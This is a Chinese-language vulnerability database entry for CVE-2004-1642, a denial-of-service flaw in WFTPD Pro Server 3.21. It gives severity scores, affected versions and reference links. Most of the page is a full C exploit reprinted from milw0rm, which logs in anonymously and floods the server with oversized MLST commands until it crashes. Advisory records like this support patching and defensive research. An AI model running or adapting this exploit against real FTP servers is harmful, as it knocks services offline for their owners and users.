CVE-2004-1642
CVSS5.0
发布时间 :2004-08-29 00:00:00
修订时间 :2016-10-17 22:58:15
NMCOE    

[原文]WFTPD Pro Server 3.21 allows remote authenticated users to cause a denial of service (crash) via a series of long MLIST commands.


[CNNVD]WFTPD Pro Server MLST命令远程拒绝服务漏洞(CNNVD-200408-227)

        
        WFTPD Pro Server是一款FTP服务程序 。
        WFTPD Pro Server在处理'mlst'命令时存在问题,远程攻击者可以利用这个漏洞对FTP服务程序进行拒绝服务攻击。
        提交包含超长数据的'mlst'命令可导致触发缓冲区溢出,使WFTPD Pro Server崩溃,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:texas_imperial_software:wftpd:3.21_r3
cpe:/a:texas_imperial_software:wftpd:3.21_r1
cpe:/a:texas_imperial_software:wftpd:3.21_r2
cpe:/a:texas_imperial_software:wftpd:3.21

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1642
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1642
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200408-227
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109396193723317&w=2
(UNKNOWN)  BUGTRAQ  20040829 [vulnwatch] WFTPD Pro Server 3.21 MLST Command Denial of Service Vulnerability
http://www.securityfocus.com/bid/11067
(VENDOR_ADVISORY)  BID  11067
http://xforce.iss.net/xforce/xfdb/17169
(VENDOR_ADVISORY)  XF  wftpd-mlst-command-dos(17169)

- 漏洞信息

WFTPD Pro Server MLST命令远程拒绝服务漏洞
中危 边界条件错误
2004-08-29 00:00:00 2005-10-20 00:00:00
远程  
        
        WFTPD Pro Server是一款FTP服务程序 。
        WFTPD Pro Server在处理'mlst'命令时存在问题,远程攻击者可以利用这个漏洞对FTP服务程序进行拒绝服务攻击。
        提交包含超长数据的'mlst'命令可导致触发缓冲区溢出,使WFTPD Pro Server崩溃,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Ipswitch
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.ipswitch.com/

- 漏洞信息 (427)

WFTPD Pro Server 3.21 MLST Remote Denial of Service Exploit (EDBID:427)
windows dos
2004-08-31 Verified
0 lion
N/A [点击下载]
/*
*-----------------------------------------------------------------------
* 
* wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*             : lion cnhonker net
*             : www cnhonker com
* Date     : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h> 

#pragma comment(lib, "ws2_32.lib")

#define FTPPORT      21
#define BUFFSIZE     204800
#define OVERFLOWSIZE 220
#define SIZE         2048      

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
    WSADATA wsa;
    unsigned short    port;
    unsigned long     ip;
    char user[32] = "anonymous";
    char pass[32] = "anonymous";
    int i;
    
    char *command = "MLST ";

    SOCKET s;
    int size = OVERFLOWSIZE;

    printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
        printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

    if(argc < 3)
    {
        printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
        return;
    }
    
    WSAStartup(MAKEWORD(2,2),&wsa);

    if((s=create_socket())==0) 
    {
        printf("[-] ERROR: Create socket failed.\r\n");
        return;
    }
      
    if(!client_connect(s, argv[1], atoi(argv[2])))
        exit(-1);
    
    loginftp(s, user, pass);
    
    memset(sendbuf, 0 ,BUFFSIZE);
    memcpy(sendbuf, "pasv\r\n", 6);
    writebuf("Send pasv", s, sendbuf, 6);
    readbuf("read", s, recvbuf, BUFFSIZE);
    
    for(i=0;i<60;i++,size++)
    {
        memset(sendbuf, 0, BUFFSIZE);
        memset(sendbuf, 'A', size);
        memcpy(sendbuf, command, strlen(command));
        sendbuf[size-2] ='\r';
        sendbuf[size-1] ='\n';
        
        printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
        show=1;
        writebuf("Send overflow buff", s, sendbuf, size);
        readbuf("read", s, recvbuf, BUFFSIZE);
        Sleep(500);
    }
    
    //send QUIT
    memset(sendbuf,0, BUFFSIZE);
    sprintf(sendbuf, "%s\r\n", "QUIT");
    writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
    
    //show=1;
    //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);    
    //return;
        
    if(s)
        closesocket(s);
          
    WSACleanup();
}

int create_socket()
{  
    int sockfd;
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        printf("[-] Create socket error.\r\n");
        return(0);
    }
    
    return(sockfd);    
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if((host=gethostbyname(server))==NULL)
    {
        printf("[-] ERROR: gethostbyname(%s) error\n", server);
        return(-1);
    }      
    
    memset(&cliaddr, 0, sizeof(struct sockaddr));

    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
    printf("[+] Trying %s:%d......", server, port);
    fflush(stdout);

    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("FAILED!\r\n");
        closesocket(sockfd);
        return(-1);
    }

    printf("OK!\r\n");
    return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
    int j;

    if(s)
    {
        printf("[+] %s......", s);
        fflush(stdout);
    }    

    j=send(socket,buffer,len,0);
    if(j<=0)
    {
        printf("FAILED!\r\n");
            exit(-1);
    }    
    printf("OK!\r\n");
    return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
    int a,b,i,j=0;
    
    a=b=i=0;
    memset(buffer,0,len);

    if(s)
    {
        printf("[+] %s......", s);
        fflush(stdout);
    }

    j=recv(socket,buffer,len-1,0);
    if(j <= 0)
    {
        if(s) printf("FAILED!\n");
            printf("[-] Recv data error.\n");
        exit(-1);
    }    
        
    if(s) printf("OK!\n");

    buffer[len-1]='\0';

    if(show==1)  printf("<==\r\n%s<==\r\n",buffer);

    return j;
}

void checkstatus(char *s)
{
    if(s==NULL) exit(-1);
    if(isdigit(*s))
    {
        if(s[0]=='5')
        {    
            printf("[-] Server told:%s\n",s);
            exit(-1);
        }
        else return;
    }

    printf("[-] Server said:%s\n",s);
    exit(-1);
}

void loginftp(SOCKET sockfd, char *user, char *pass)
{
    int j;
    
    show=1;
    readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
    //show=0;

    //send USER username
    memset(sendbuf,0,BUFFSIZE);
    j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
    writebuf("Send USER", sockfd,sendbuf,j);
    readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
    checkstatus(recvbuf);

    //send PASS password
    memset(sendbuf,0,BUFFSIZE);
    j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
    writebuf("Send PASS", sockfd, sendbuf, j);
    readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
    checkstatus(recvbuf);
    printf("[+] User %s logged in.\r\n", user);
}

// milw0rm.com [2004-08-31]
		

- 漏洞信息

9398
WFTPD Pro Server MLST Command DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

WFTPD Pro Server contains a flaw that may allow a remote denial of service. The issue is triggered when a malicious users sends more than 60 specially crafted MLST commands to the FTP server, and will result in a loss of availability for the server.

- 时间线

2004-08-31 Unknow
2004-08-31 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站